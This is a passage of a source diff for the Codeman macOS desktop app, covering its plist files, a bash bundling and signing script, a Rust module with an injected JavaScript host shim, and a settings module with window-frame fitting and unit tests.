app starts counts as the app (Apple TN3179), so a server started with
"Start Codeman on this Mac" runs under the same answer. -->
<key>NSLocalNetworkUsageDescription</key>
<string>Codeman connects to Codeman servers on your local network. A Codeman server you start from this app uses the same permission for what it reaches on the network.</string>
<!-- App Transport Security would block plain http:// to a host NAME
(my-mac.local, a LAN box). IP literals are exempt, which is why
http://127.0.0.1 works without this. -->
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsLocalNetworking</key>
<true/>
<key>NSAllowsArbitraryLoadsInWebContent</key>
<true/>
</dict>
</dict>
</plist>
+12
View File
@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Only used with a Developer ID (SIGN_IDENTITY=...), which turns on the
hardened runtime; there, microphone and camera need these. -->
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
</dict>
</plist>
+1
View File
@@ -0,0 +1 @@
max_width = 120
+110
View File
@@ -0,0 +1,110 @@
#!/usr/bin/env bash
# Build Codeman.app (and optionally a .dmg) from packages/desktop, on macOS.
#
# packages/desktop/scripts/bundle-macos.sh # this Mac's architecture
# packages/desktop/scripts/bundle-macos.sh --universal --dmg
# SIGN_IDENTITY="Developer ID Application: ..." packages/desktop/scripts/bundle-macos.sh --dmg
#
# Without SIGN_IDENTITY the app is signed ad hoc: it runs on the Mac that built
# it, and a copy downloaded on another Mac is stopped by Gatekeeper. On macOS 15
# and later, try to open it once, then click Open Anyway in System Settings >
# Privacy & Security; on macOS 14 and earlier, right-click it and choose Open.
# Or run `xattr -dr com.apple.quarantine /Applications/Codeman.app` on the copy
# in /Applications. A Developer ID signature + notarization avoids all of this.
set -euo pipefail
cd "$(dirname "$0")/.."
[ "$(uname -s)" = Darwin ] || { echo "bundle-macos.sh runs on macOS only" >&2; exit 1; }
UNIVERSAL=0
DMG=0
for arg in "$@"; do
case "$arg" in
--universal) UNIVERSAL=1 ;;
--dmg) DMG=1 ;;
*) echo "unknown option: $arg" >&2; exit 2 ;;
esac
done
VERSION=$(sed -n 's/^version = "\(.*\)"$/\1/p' Cargo.toml | head -1)
[ -n "$VERSION" ] || { echo "could not read the version from Cargo.toml" >&2; exit 1; }
# The binary targets the same macOS as LSMinimumSystemVersion in Info.plist,
# so the two cannot disagree.
MACOSX_DEPLOYMENT_TARGET=$(/usr/libexec/PlistBuddy -c 'Print :LSMinimumSystemVersion' macos/Info.plist)
[ -n "$MACOSX_DEPLOYMENT_TARGET" ] || { echo "could not read LSMinimumSystemVersion from macos/Info.plist" >&2; exit 1; }
export MACOSX_DEPLOYMENT_TARGET
WORK=$(mktemp -d)
trap 'rm -rf "$WORK"' EXIT
# Build with cargo and set BUILT to the executable cargo reports for
# codeman-desktop. Asking cargo, rather than assuming ./target, keeps
# CARGO_TARGET_DIR, build.target-dir and build.target from a cargo config
# working, and a stale binary from an older build is never bundled.
cargo_build() {
local json
json=$(cargo build --locked --release "$@" --message-format=json-render-diagnostics)
BUILT=$(printf '%s\n' "$json" | awk '
index($0, "\"reason\":\"compiler-artifact\"") &&
index($0, "\"kind\":[\"bin\"]") &&
index($0, "\"name\":\"codeman-desktop\"") &&
match($0, /"executable":"[^"]*"/) { path = substr($0, RSTART + 14, RLENGTH - 15) }
END { print path }')
if [ -z "$BUILT" ] || [ ! -x "$BUILT" ]; then
echo "cargo did not report a codeman-desktop executable${BUILT:+ (it named $BUILT)}" >&2
exit 1
fi
}
if [ "$UNIVERSAL" = 1 ]; then
rustup target add aarch64-apple-darwin x86_64-apple-darwin >/dev/null
cargo_build --target aarch64-apple-darwin
ARM_BIN=$BUILT
cargo_build --target x86_64-apple-darwin
INTEL_BIN=$BUILT
BIN="$WORK/codeman-desktop-universal"
lipo -create -output "$BIN" "$ARM_BIN" "$INTEL_BIN"
else
cargo_build
BIN=$BUILT
fi
APP=dist/Codeman.app
rm -rf "$APP"
mkdir -p "$APP/Contents/MacOS" "$APP/Contents/Resources"
cp "$BIN" "$APP/Contents/MacOS/codeman-desktop"
sed "s/__VERSION__/$VERSION/g" macos/Info.plist > "$APP/Contents/Info.plist"
plutil -lint "$APP/Contents/Info.plist" >/dev/null
printf 'APPL????' > "$APP/Contents/PkgInfo"
# assets/icon.png (1024x1024, already on Apple's icon grid) -> Codeman.icns
ICONSET="$WORK/Codeman.iconset"
mkdir -p "$ICONSET"
for size in 16 32 128 256 512; do
sips -z "$size" "$size" assets/icon.png --out "$ICONSET/icon_${size}x${size}.png" >/dev/null
double=$((size * 2))
sips -z "$double" "$double" assets/icon.png --out "$ICONSET/icon_${size}x${size}@2x.png" >/dev/null
done
iconutil -c icns "$ICONSET" -o "$APP/Contents/Resources/Codeman.icns"
if [ -n "${SIGN_IDENTITY:-}" ]; then
codesign --force --options runtime --timestamp \
--entitlements macos/entitlements.plist --sign "$SIGN_IDENTITY" "$APP"
else
codesign --force --sign - "$APP"
fi
codesign --verify --strict "$APP"
echo "Built $(pwd)/$APP ($(du -sh "$APP" | cut -f1), version $VERSION, macOS $MACOSX_DEPLOYMENT_TARGET or later)"
if [ "$DMG" = 1 ]; then
STAGE="$WORK/dmg"
mkdir -p "$STAGE"
cp -R "$APP" "$STAGE/"
ln -s /Applications "$STAGE/Applications"
DMG_PATH="dist/Codeman-$VERSION.dmg"
rm -f "$DMG_PATH"
hdiutil create -quiet -volname "Codeman" -srcfolder "$STAGE" -ov -format UDZO "$DMG_PATH"
echo "Built $(pwd)/$DMG_PATH ($(du -sh "$DMG_PATH" | cut -f1))"
fi
+312
View File
@@ -0,0 +1,312 @@
//! Files bundled into the binary: the connect page, its icon, and the script
//! injected into every Codeman page (`window.CodemanHost`).
use std::borrow::Cow;
use wry::http::{header::CONTENT_TYPE, Request, Response, StatusCode};
const CONNECT_HTML: &[u8] = include_bytes!("../assets/connect.html");
const ICON_PNG: &[u8] = include_bytes!("../assets/icon.png");
/// The connect page loads nothing from outside the app.
const CSP: &str = "default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src codemanapp:";
/// Serve `codemanapp://localhost/<path>`.
pub fn respond(request: Request<Vec<u8>>) -> Response<Cow<'static, [u8]>> {
let (body, mime): (&'static [u8], &str) = match request.uri().path() {
"/" | "/index.html" => (CONNECT_HTML, "text/html; charset=utf-8"),
"/icon.png" => (ICON_PNG, "image/png"),
_ => {
return Response::builder()
.status(StatusCode::NOT_FOUND)
.body(Cow::Borrowed(&b"not found"[..]))
.expect("static response");
}
};
Response::builder()
.header(CONTENT_TYPE, mime)
.header("Content-Security-Policy", CSP)
.header("Cache-Control", "no-store")
.body(Cow::Borrowed(body))
.expect("static response")
}
/// Injected at document start into the MAIN frame of every page (wry's
/// default), where it does nothing unless the page is http(s). It provides the
/// native-wrapper bridge Codeman's frontend already looks for
/// (`window.CodemanHost.openWindow/closeWindow/focusWindow`, see
/// `openInHostWindow` in src/web/public/app.js), so pop-outs become real app
/// windows. `openWindow` answers false, posting nothing, for a URL the native
/// side would drop (not http(s), or longer than its 4096-byte cap), so
/// Codeman shows its own error instead of marking a session detached with no
/// window behind it. Besides that it:
///
/// - turns a click on a same-origin download link (`download=true`, or a path
/// ending in `/download`) into a real download by giving the link a
/// `download` attribute. Codeman's file tree and attachment cards link to
/// `file-raw?download=true` without one, and the server sends a type WebKit
/// can show (png, pdf, txt), so WebKit would otherwise replace the Codeman
/// window with the file, with no way back. This runs in the capture phase,
/// before the file tree's own `stopPropagation`.
/// - does the same for `window.open` of such a `download=true` URL (the
/// attachment history), returning null instead of a window.
/// - sends clicks on links to other sites to the default browser, after
/// Codeman's own handlers have had their turn (bubble phase, skipped when
/// one of them called preventDefault). Middle clicks and modifier clicks
/// count too: a bare WKWebView has no new-tab gesture of its own, so they
/// would do nothing.
/// - reports the first same-origin 401 a `fetch` gets (`sessionExpired`),
/// once per page load: the session cookie is gone, usually because the
/// server restarted, and nothing in the page asks for the login again.
/// - defines `__codemanDesktopRefused(id)` (not enumerable) for
/// [`refused_script`].
pub const HOST_SHIM: &str = r#"(function () {
'use strict';
if (!/^https?:$/.test(location.protocol) || window.CodemanHost) return;
var MAX_URL = 4096;
var post = function (msg) {
try { window.ipc.postMessage(JSON.stringify(msg)); return true; } catch (e) { return false; }
};
// An http(s) URL object, or null. fetch and window.open resolve against
// the document base (Codeman sets <base href>), so those pass it.
var httpUrl = function (raw, base) {
try {
var u = new URL(String(raw), base || location.href);
return /^https?:$/.test(u.protocol) ? u : null;
} catch (e) { return null; }
};
var sameOrigin = function (u) { return !!u && u.origin === location.origin; };
var link = function (ev) {
var a = ev.target && ev.target.closest ? ev.target.closest('a[href]') : null;
return a && typeof a.href === 'string' && !a.hasAttribute('download') ? a : null;
};
Object.defineProperty(window, 'CodemanHost', {
value: Object.freeze({
desktop: true,
openWindow: function (url) {
var u = httpUrl(url);
return u && u.href.length <= MAX_URL ? post({ cmd: 'openWindow', url: u.href }) : false;
},
closeWindow: function () { post({ cmd: 'closeWindow' }); },
focusWindow: function () { post({ cmd: 'focusWindow' }); }
})
});
// The native side could not open a window: say so. `id` is a string only
// when CodemanHost.openWindow asked for that session's pop-out; that session
// goes back to the dashboard (a fresh channel object, so this window's own
// channel hears it too). Anything else, null included, only shows the toast.
Object.defineProperty(window, '__codemanDesktopRefused', {
value: function (id) {
try {
if (window.app && typeof window.app.showToast === 'function') {
window.app.showToast('Could not open a new window', 'error');
}
} catch (e) {}
try {
if (typeof id === 'string' && id !== '' && typeof BroadcastChannel === 'function') {
var ch = new BroadcastChannel('codeman-windows');
ch.postMessage({ type: 'redocked', id: id });
setTimeout(function () { try { ch.close(); } catch (e) {} }, 2000);
}
} catch (e) {}
}
});
var markDownload = function (ev) {
if (ev.button > 1) return;
var a = link(ev);
var u = a && httpUrl(a.href);
if (sameOrigin(u) && (u.searchParams.get('download') === 'true' || /\/download$/.test(u.pathname))) {
a.setAttribute('download', '');
}
};
window.addEventListener('click', markDownload, true);
window.addEventListener('auxclick', markDownload, true);
var lastMiddle = null;
var openOutside = function (ev) {
if (ev.defaultPrevented || ev.button > 1) return;
var a = link(ev);
var u = a && httpUrl(a.href);
if (!u || sameOrigin(u)) return;
ev.preventDefault();
// Older WebKit sends a middle click as 'click', newer as 'auxclick'; one
// that sent both must still open the link once.
if (ev.button === 1) {
if (lastMiddle && lastMiddle.a === a && ev.timeStamp - lastMiddle.t < 500) return;
lastMiddle = { a: a, t: ev.timeStamp };
}
post({ cmd: 'openExternal', url: u.href });
};
window.addEventListener('click', openOutside, false);
window.addEventListener('auxclick', openOutside, false);
var nativeOpen = window.open;
if (typeof nativeOpen === 'function') {
window.open = function open(url) {
try {
var u = arguments.length && url !== undefined ? httpUrl(url, document.baseURI) : null;
if (sameOrigin(u) && u.searchParams.get('download') === 'true') {
var a = document.createElement('a');
a.href = u.href;
a.setAttribute('download', '');
a.click();
return null;
}
} catch (e) {}
return nativeOpen.apply(this, arguments);
};
}
// Returns the promise fetch itself returned, so callers see exactly what
// they saw before; the 401 check hangs off a side branch that swallows its
// own errors and never reads the body.
var expired = false;
var nativeFetch = window.fetch;
if (typeof nativeFetch === 'function') {
var check = function (input, r) {
if (expired || !r || r.status !== 401) return;
var raw = r.url || (input && typeof input === 'object' && typeof input.url === 'string' ? input.url : input);
if (!sameOrigin(httpUrl(raw, document.baseURI))) return;
expired = true;
post({ cmd: 'sessionExpired' });
};
window.fetch = function fetch(input) {
var p = nativeFetch.apply(this, arguments);
try {
if (!expired && p && typeof p.then === 'function') {
p.then(function (r) { try { check(input, r); } catch (e) {} }, function () {});
}
} catch (e) {}
return p;
};
}
})();"#;
/// A toast inside Codeman when a download finished (Codeman's own
/// `showToast`; nothing happens on a page without it).
pub fn download_toast_script(file_name: &str, ok: bool) -> String {
let text = if ok {
format!("Downloaded {file_name} to Downloads")
} else {
format!("Download of {file_name} failed")
};
let text = serde_json::to_string(&text).unwrap_or_else(|_| "\"Download finished\"".into());
let kind = if ok { "\"success\"" } else { "\"error\"" };
format!("try {{ window.app && window.app.showToast && window.app.showToast({text}, {kind}); }} catch (e) {{}}")
}
/// Runs in the window that asked for a window the native side did not open
/// (pop-out limit reached, policy refused it, window or web view failed to
/// build): the page shows an error toast. Does nothing on a page without the
/// shim.
///
/// `session_id` is the decoded id of a session pop-out
/// (`policy::session_id_of`), and only for a `CodemanHost.openWindow` request,
/// which comes from a trusted frame: that session then gets its tab back in
/// the dashboard. Pass `None` for every other refusal, above all the ones a
/// `window.open` or `target=_blank` from any frame caused, so a page cannot
/// make the dashboard drop the detached state of a session that is still
/// popped out.
pub fn refused_script(session_id: Option<&str>) -> String {
let id = serde_json::to_string(&session_id).unwrap_or_else(|_| "null".into());
format!(
"try {{ if (typeof window.__codemanDesktopRefused === 'function') window.__codemanDesktopRefused({id}); }} catch (e) {{}}"
)
}
#[cfg(test)]
mod tests {
use super::*;
fn get(path: &str) -> Response<Cow<'static, [u8]>> {
respond(
Request::builder()
.uri(format!("codemanapp://localhost{path}"))
.body(Vec::new())
.unwrap(),
)
}
#[test]
fn serves_page_and_icon_only() {
let page = get("/index.html");
assert_eq!(page.status(), StatusCode::OK);
assert!(page.headers()["content-type"]
.to_str()
.unwrap()
.starts_with("text/html"));
assert!(page.headers().contains_key("content-security-policy"));
assert!(String::from_utf8_lossy(page.body()).contains("window.__codemanDesktop"));
assert_eq!(get("/icon.png").status(), StatusCode::OK);
assert_eq!(get("/../etc/passwd").status(), StatusCode::NOT_FOUND);
assert_eq!(get("/other.js").status(), StatusCode::NOT_FOUND);
}
#[test]
fn refused_script_escapes_the_session_id() {
let js = refused_script(Some("a'\"); alert(1); //\u{2028}\\"));
assert!(js.starts_with("try { if (typeof window.__codemanDesktopRefused === 'function') "));
assert!(js.contains(r#"window.__codemanDesktopRefused("a'\"); alert(1); //"#));
assert!(js.contains("\u{2028}\\\\\"); } catch (e) {}"));
assert!(js.ends_with(" } catch (e) {}"));
}
#[test]
fn refused_script_without_a_session_passes_null() {
assert_eq!(
refused_script(None),
"try { if (typeof window.__codemanDesktopRefused === 'function') window.__codemanDesktopRefused(null); } catch (e) {}"
);
assert!(refused_script(Some("")).contains("__codemanDesktopRefused(\"\")"));
}
#[test]
fn shim_keeps_its_contract() {
for needle in [
"Object.freeze",
"openWindow",
"closeWindow",
"focusWindow",
"__codemanDesktopRefused",
"sessionExpired",
"'auxclick'",
"MAX_URL = 4096",
"typeof id === 'string' && id !== ''",
] {
assert!(HOST_SHIM.contains(needle), "{needle}");
}
// The refused hook takes the session id the native side resolved; it
// never parses or decodes a URL to find one.
assert!(!HOST_SHIM.contains("decodeURIComponent"));
}
/// The connect page refuses what the app would drop without an answer, so
/// its two limits have to be the app's own.
#[test]
fn connect_page_keeps_the_message_limits() {
let page = String::from_utf8_lossy(CONNECT_HTML);
for needle in [
format!("var MAX_URL = {};", crate::policy::MAX_URL_LEN),
format!("var MAX_FIELD = {};", crate::policy::MAX_FIELD_LEN),
] {
assert!(page.contains(&needle), "{needle}");
}
}
/// Copy puts setup::INSTALL_ONE_LINER on the clipboard, and the page shows
/// the command as text of its own: the two have to be the same command.
#[test]
fn connect_page_shows_the_command_that_copy_copies() {
let page = String::from_utf8_lossy(CONNECT_HTML);
let shown = format!("<code id=\"oneliner\">{}</code>", crate::setup::INSTALL_ONE_LINER);
assert!(page.contains(&shown), "{shown}");
}
#[test]
fn toast_escapes_file_names() {
let js = download_toast_script("a\"); alert(1); (\".txt", true);
assert!(js.contains(r#"Downloaded a\"); alert(1); (\".txt to Downloads"#));
}
}
+822
View File
@@ -0,0 +1,822 @@
//! The app's own settings: recent servers, two preferences and the window
//! frame. Stored as JSON next to other per-app data
//! (`~/Library/Application Support/Codeman/desktop.json` on macOS). Passwords
//! never go here; they live in the Keychain (see `credentials`).
use serde::{Deserialize, Serialize};
use std::fs;
use std::io;
use std::path::{Path, PathBuf};
const MAX_SERVERS: usize = 8;
/// How many recovery copies of an unreadable config can sit side by side:
/// `desktop.json.corrupt`, then `desktop.json.corrupt.1` to `.9`.
const ASIDE_SLOTS: usize = 10;
const MIN_WIDTH: f64 = 480.0;
const MIN_HEIGHT: f64 = 360.0;
const MAX_EDGE: f64 = 20_000.0;
/// Height of a standard title bar, in points.
const TITLE_BAR: f64 = 28.0;
/// How far the outer top of the window lies above `WindowFrame::y`. On macOS
/// `y` is the content area's top (tao's `with_position` puts the content rect
/// there and the title bar above it); elsewhere `y` is already the outer top.
const TITLE_ABOVE_Y: f64 = if cfg!(target_os = "macos") { TITLE_BAR } else { 0.0 };
/// How much of the title bar must be on a screen to grab it.
const MIN_GRIP: f64 = 80.0;
/// Room `fitted_to` leaves when it shrinks a window. Screens are full display
/// bounds, so the menu bar and the Dock are inside them.
const FIT_MARGIN_X: f64 = 40.0;
const FIT_MARGIN_Y: f64 = 80.0;
/// Room a first-run window leaves above its content (the menu bar, taller on
/// a display with a notch, and its own title bar) and below it (a Dock of the
/// default size): `Rect` is the whole display, so neither is taken off yet.
const FIRST_RUN_ROOM_ABOVE: f64 = 66.0;
const FIRST_RUN_ROOM_BELOW: f64 = 90.0;
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
#[serde(default, rename_all = "camelCase")]
pub struct Config {
/// Most recent first.
pub servers: Vec<ServerEntry>,
/// Connect to the most recent server at launch.
pub auto_connect: bool,
/// Always open in full screen (otherwise the last state is restored).
pub start_fullscreen: bool,
/// Anything that is not a whole frame reads as None: a bad frame must not
/// make the whole file unreadable, which would cost the server list.
#[serde(deserialize_with = "lenient_window")]
pub window: Option<WindowFrame>,
}
fn lenient_window<'de, D: serde::Deserializer<'de>>(d: D) -> Result<Option<WindowFrame>, D::Error> {
let value = serde_json::Value::deserialize(d)?;
Ok(serde_json::from_value(value).ok())
}
impl Default for Config {
fn default() -> Self {
Config {
servers: Vec::new(),
auto_connect: true,
start_fullscreen: false,
window: None,
}
}
}
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
#[serde(rename_all = "camelCase")]
pub struct ServerEntry {
pub url: String,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub username: Option<String>,
#[serde(default)]
pub has_saved_password: bool,
}
/// The main window's position and inner size, in logical (point)
/// coordinates. `x`/`y` are where tao's `with_position` wants them: on macOS
/// the top-left of the CONTENT area (the title bar, about 28 pt, sits above
/// it), elsewhere the window's outer top-left. Saving the outer corner on
/// macOS and restoring it as the content corner made the window creep up by
/// a title bar on every launch.
#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq)]
#[serde(rename_all = "camelCase")]
pub struct WindowFrame {
pub x: f64,
pub y: f64,
pub width: f64,
pub height: f64,
#[serde(default)]
pub fullscreen: bool,
}
/// A display's full bounds in logical coordinates, as tao reports them. This
/// is the whole display, not the work area: the menu bar and the Dock are
/// inside it.
#[derive(Debug, Clone, Copy)]
pub struct Rect {
pub x: f64,
pub y: f64,
pub width: f64,
pub height: f64,
}
impl WindowFrame {
/// The frame of a first-run window on `screen`: `size` or what fits, never
/// less than `min`, centred across and in the height between the menu bar
/// and the Dock. Centring in the whole display put the bottom of a window
/// under the Dock on a 900 pt high one.
pub fn first_run(screen: &Rect, size: (f64, f64), min: (f64, f64)) -> WindowFrame {
let width = size.0.min(screen.width - FIT_MARGIN_X).max(min.0);
let room = screen.height - FIRST_RUN_ROOM_ABOVE - FIRST_RUN_ROOM_BELOW;
let height = size.1.min(room).max(min.1);
WindowFrame {
x: screen.x + (screen.width - width) / 2.0,
y: screen.y + FIRST_RUN_ROOM_ABOVE + ((room - height) / 2.0).max(0.0),
width,
height,
fullscreen: false,
}
}
/// The frame clamped to sane sizes, or None when it holds junk.
pub fn sanitized(self) -> Option<WindowFrame> {
let vals = [self.x, self.y, self.width, self.height];
if vals.iter().any(|v| !v.is_finite()) || self.x.abs() > MAX_EDGE || self.y.abs() > MAX_EDGE {
return None;
}
Some(WindowFrame {
width: self.width.clamp(MIN_WIDTH, MAX_EDGE),
height: self.height.clamp(MIN_HEIGHT, MAX_EDGE),
..self
})
}
/// The frame made to fit the screens it will open on, or None when its
/// title bar is on none of them (the caller then falls back to a default
/// frame). An edge that no screen covers is pulled onto the screen that
/// holds the title bar, shrinking the window when it is too big for it:
/// a frame saved on an external display that is gone would otherwise
/// open with its right edge and resize corner far off screen. An edge
/// that lands on some screen stays put, so a window spanning two
/// displays keeps its span. `min` is the window's minimum inner size.
pub fn fitted_to(&self, screens: &[Rect], min: (f64, f64)) -> Option<WindowFrame> {
let home = *self.title_screen(screens)?;
let top = self.outer_top();
let outer_height = TITLE_BAR + self.height;
let (x, width) = fit_axis(
self.x,
self.width,
(
covers_x(screens, self.x, top, top + outer_height),
covers_x(screens, self.x + self.width, top, top + outer_height),
),
(home.x, home.x + home.width),
FIT_MARGIN_X,
min.0,
);
let (top, outer_height) = fit_axis(
top,
outer_height,
(
covers_y(screens, top, x, x + width),
covers_y(screens, top + outer_height, x, x + width),
),
(home.y, home.y + home.height),
FIT_MARGIN_Y - TITLE_BAR,
min.1 + TITLE_BAR,
);
Some(WindowFrame {
x,
y: top + TITLE_ABOVE_Y,
width,
height: outer_height - TITLE_BAR,
..*self
})
}
fn outer_top(&self) -> f64 {
self.y - TITLE_ABOVE_Y
}
/// The screen the title bar is on, or None when no screen has enough of
/// it to grab (a display unplugged since the last run leaves the frame off
/// screen). The middle of the title bar must be inside the screen and at
/// least `MIN_GRIP` of the bar's width must overlap it; when several
/// qualify, the one holding most of the bar wins.
fn title_screen<'a>(&self, screens: &'a [Rect]) -> Option<&'a Rect> {
let title_y = self.outer_top() + TITLE_BAR / 2.0;
screens
.iter()
.filter(|m| title_y >= m.y && title_y <= m.y + m.height)
.map(|m| {
let grip = (self.x + self.width).min(m.x + m.width) - self.x.max(m.x);
(m, grip)
})
.filter(|(_, grip)| *grip >= MIN_GRIP)
.max_by(|a, b| a.1.total_cmp(&b.1))
.map(|(m, _)| m)
}
}
/// Whether some screen holds part of the vertical edge at `x` that runs from
/// `top` to `bottom`.
fn covers_x(screens: &[Rect], x: f64, top: f64, bottom: f64) -> bool {
screens
.iter()
.any(|m| x >= m.x && x <= m.x + m.width && top < m.y + m.height && bottom > m.y)
}
/// Whether some screen holds part of the horizontal edge at `y` that runs
/// from `left` to `right`.
fn covers_y(screens: &[Rect], y: f64, left: f64, right: f64) -> bool {
screens
.iter()
.any(|m| y >= m.y && y <= m.y + m.height && left < m.x + m.width && right > m.x)
}
/// One axis of `WindowFrame::fitted_to`. The window runs from `start` for
/// `len`; `covered` says whether some screen holds each end; `home` is the
/// title bar screen's range on this axis. An uncovered end is pulled onto
/// `home`, and the window shrinks (leaving `margin`, never below `min`) when
/// it does not fit; a covered end may stay where it is, on another display.
fn fit_axis(start: f64, len: f64, covered: (bool, bool), home: (f64, f64), margin: f64, min: f64) -> (f64, f64) {
if covered.0 && covered.1 {
return (start, len);
}
let lo = if covered.0 { start.min(home.0) } else { home.0 };
let hi = if covered.1 { (start + len).max(home.1) } else { home.1 };
let len = len.min(hi - lo - margin).max(min);
// `max` last: a window still too big for the screen keeps its start (the
// left edge, or the title bar) on screen rather than its end.
let start = start.min(hi - len).max(lo);
(start, len)
}
/// The first name an unreadable `desktop.json` can be moved to without
/// replacing an earlier recovery copy: `desktop.json.corrupt`, then
/// `desktop.json.corrupt.1` to `.9`, next to it.
/// A name is free only when nothing at all is there: a file, a directory or
/// a dangling symlink left at it is taken, and so is a name that cannot be
/// checked. None when every name is taken.
fn free_aside_name(path: &Path) -> Option<PathBuf> {
(0..ASIDE_SLOTS)
.map(|n| match n {
0 => path.with_extension("json.corrupt"),
n => path.with_extension(format!("json.corrupt.{n}")),
})
.find(|aside| matches!(fs::symlink_metadata(aside), Err(e) if e.kind() == io::ErrorKind::NotFound))
}
impl Config {
/// Where the config lives, or None if the OS has no config directory.
pub fn default_path() -> Option<PathBuf> {
dirs::config_dir().map(|d| d.join("Codeman").join("desktop.json"))
}
/// Read the config, and say whether saving back to `path` is safe this
/// run. A missing file is the default. A file that is there but cannot
/// be read (not UTF-8, no permission, a directory, an I/O error) or does
/// not parse is moved aside for recovery, and the defaults are used; it
/// is never silently overwritten with them. It goes to the first free
/// name of `desktop.json.corrupt`, `desktop.json.corrupt.1` to `.9`, so
/// a second unreadable file never replaces the copy kept from the first.
/// If every name is taken or the move fails, the answer is false: the
/// original is still at `path`, and the save at exit must not replace it.
pub fn load_from(path: &Path) -> (Config, bool) {
let text = match fs::read_to_string(path) {
Ok(text) => Some(text),
Err(e) if e.kind() == io::ErrorKind::NotFound => return (Config::default(), true),
Err(_) => None,
};
if let Some(mut config) = text.and_then(|t| serde_json::from_str::<Config>(&t).ok()) {
config.sanitize();
return (config, true);
}
let Some(aside) = free_aside_name(path) else {
eprintln!(
"codeman-desktop: {} could not be read, and {} to .{} are all taken; settings will not be saved this run",
path.display(),
path.with_extension("json.corrupt").display(),
ASIDE_SLOTS - 1
);
return (Config::default(), false);
};
match fs::rename(path, &aside) {
Ok(()) => {
eprintln!(
"codeman-desktop: {} could not be read; moved it to {} and started with defaults",
path.display(),
aside.display()
);
(Config::default(), true)
}
Err(e) => {
eprintln!(
"codeman-desktop: {} could not be read or moved aside ({e}); settings will not be saved this run",
path.display()
);
(Config::default(), false)
}
}
}
/// Write via a temp file and rename, so a crash never leaves half a file.
pub fn save_to(&self, path: &Path) -> io::Result<()> {
if let Some(dir) = path.parent() {
fs::create_dir_all(dir)?;
}
let tmp = path.with_extension("json.tmp");
let text = serde_json::to_string_pretty(self).map_err(io::Error::other)?;
fs::write(&tmp, text)?;
fs::rename(&tmp, path)
}
fn sanitize(&mut self) {
let mut seen = std::collections::HashSet::new();
self.servers.retain(|s| !s.url.is_empty() && seen.insert(s.url.clone()));
self.servers.truncate(MAX_SERVERS);
self.window = self.window.and_then(WindowFrame::sanitized);
}
/// Move (or add) a server to the top of the recent list. Returns the
/// Keychain accounts, as (url, username), of the entries with a username
/// that fall off the end of the list (it keeps `MAX_SERVERS`), for the
/// caller to delete. A different username on `url` itself is not
/// reported: the caller deletes that account before it saves the new
/// one, comparing the names exactly as the Keychain account string
/// does. A delete made after the save could take the new password with
/// it on a Keychain that treats two spellings of a name as one item.
#[must_use = "the returned Keychain accounts must be deleted"]
pub fn remember(&mut self, url: &str, username: Option<&str>, saved: bool) -> Vec<(String, String)> {
self.servers.retain(|s| s.url != url);
self.servers.insert(
0,
ServerEntry {
url: url.to_string(),
username: username.map(str::to_string),
has_saved_password: saved,
},
);
let evicted = self.servers.split_off(self.servers.len().min(MAX_SERVERS));
evicted.into_iter().filter_map(|s| Some((s.url, s.username?))).collect()
}
pub fn forget(&mut self, url: &str) -> Option<ServerEntry> {
let idx = self.servers.iter().position(|s| s.url == url)?;
Some(self.servers.remove(idx))
}
pub fn find(&self, url: &str) -> Option<&ServerEntry> {
self.servers.iter().find(|s| s.url == url)
}
}
#[cfg(test)]
mod tests {
use super::*;
fn tmp_dir(name: &str) -> PathBuf {
let dir = std::env::temp_dir().join(format!("codeman-desktop-test-{}-{name}", std::process::id()));
let _ = fs::remove_dir_all(&dir);
dir
}
fn frame(x: f64, y: f64, width: f64, height: f64) -> WindowFrame {
WindowFrame {
x,
y,
width,
height,
fullscreen: false,
}
}
fn rect(x: f64, y: f64, width: f64, height: f64) -> Rect {
Rect { x, y, width, height }
}
const MIN: (f64, f64) = (MIN_WIDTH, MIN_HEIGHT);
fn reachable(f: &WindowFrame, screens: &[Rect]) -> bool {
f.title_screen(screens).is_some()
}
/// The outer frame (title bar included) as left, top, right, bottom.
fn outer(f: &WindowFrame) -> (f64, f64, f64, f64) {
let top = f.y - TITLE_ABOVE_Y;
(f.x, top, f.x + f.width, top + TITLE_BAR + f.height)
}
#[test]
fn missing_file_is_default() {
let dir = tmp_dir("missing");
let (c, can_save) = Config::load_from(&dir.join("desktop.json"));
assert_eq!(c, Config::default());
assert!(c.auto_connect);
assert!(can_save);
}
#[test]
fn round_trip_and_atomic_save() {
let dir = tmp_dir("roundtrip");
let path = dir.join("nested").join("desktop.json");
let mut c = Config::default();
assert!(c.remember("http://127.0.0.1:3000/", None, false).is_empty());
assert!(c.remember("https://box.ts.net/", Some("admin"), true).is_empty());
c.start_fullscreen = true;
c.window = Some(WindowFrame {
x: 10.0,
y: 20.0,
width: 1200.0,
height: 800.0,
fullscreen: true,
});
c.save_to(&path).unwrap();
assert!(!path.with_extension("json.tmp").exists());
let (back, can_save) = Config::load_from(&path);
assert!(can_save);
assert_eq!(back, c);
assert_eq!(back.servers[0].url, "https://box.ts.net/");
let text = fs::read_to_string(&path).unwrap();
assert!(
!text.to_lowercase().contains("password\":\""),
"no password values on disk"
);
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn corrupt_file_is_moved_aside() {
let dir = tmp_dir("corrupt");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
fs::write(&path, "{ not json").unwrap();
let (c, can_save) = Config::load_from(&path);
assert_eq!(c, Config::default());
assert!(can_save);
assert!(!path.exists());
assert!(dir.join("desktop.json.corrupt").exists());
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn non_utf8_file_is_moved_aside() {
let dir = tmp_dir("non-utf8");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
// Valid JSON apart from a Latin-1 "ü", which is not UTF-8.
let bytes = b"{\"servers\":[{\"url\":\"http://a/\",\"username\":\"J\xfcrg\"}]}";
fs::write(&path, bytes).unwrap();
let (c, can_save) = Config::load_from(&path);
assert_eq!(c, Config::default());
assert!(can_save);
assert!(!path.exists());
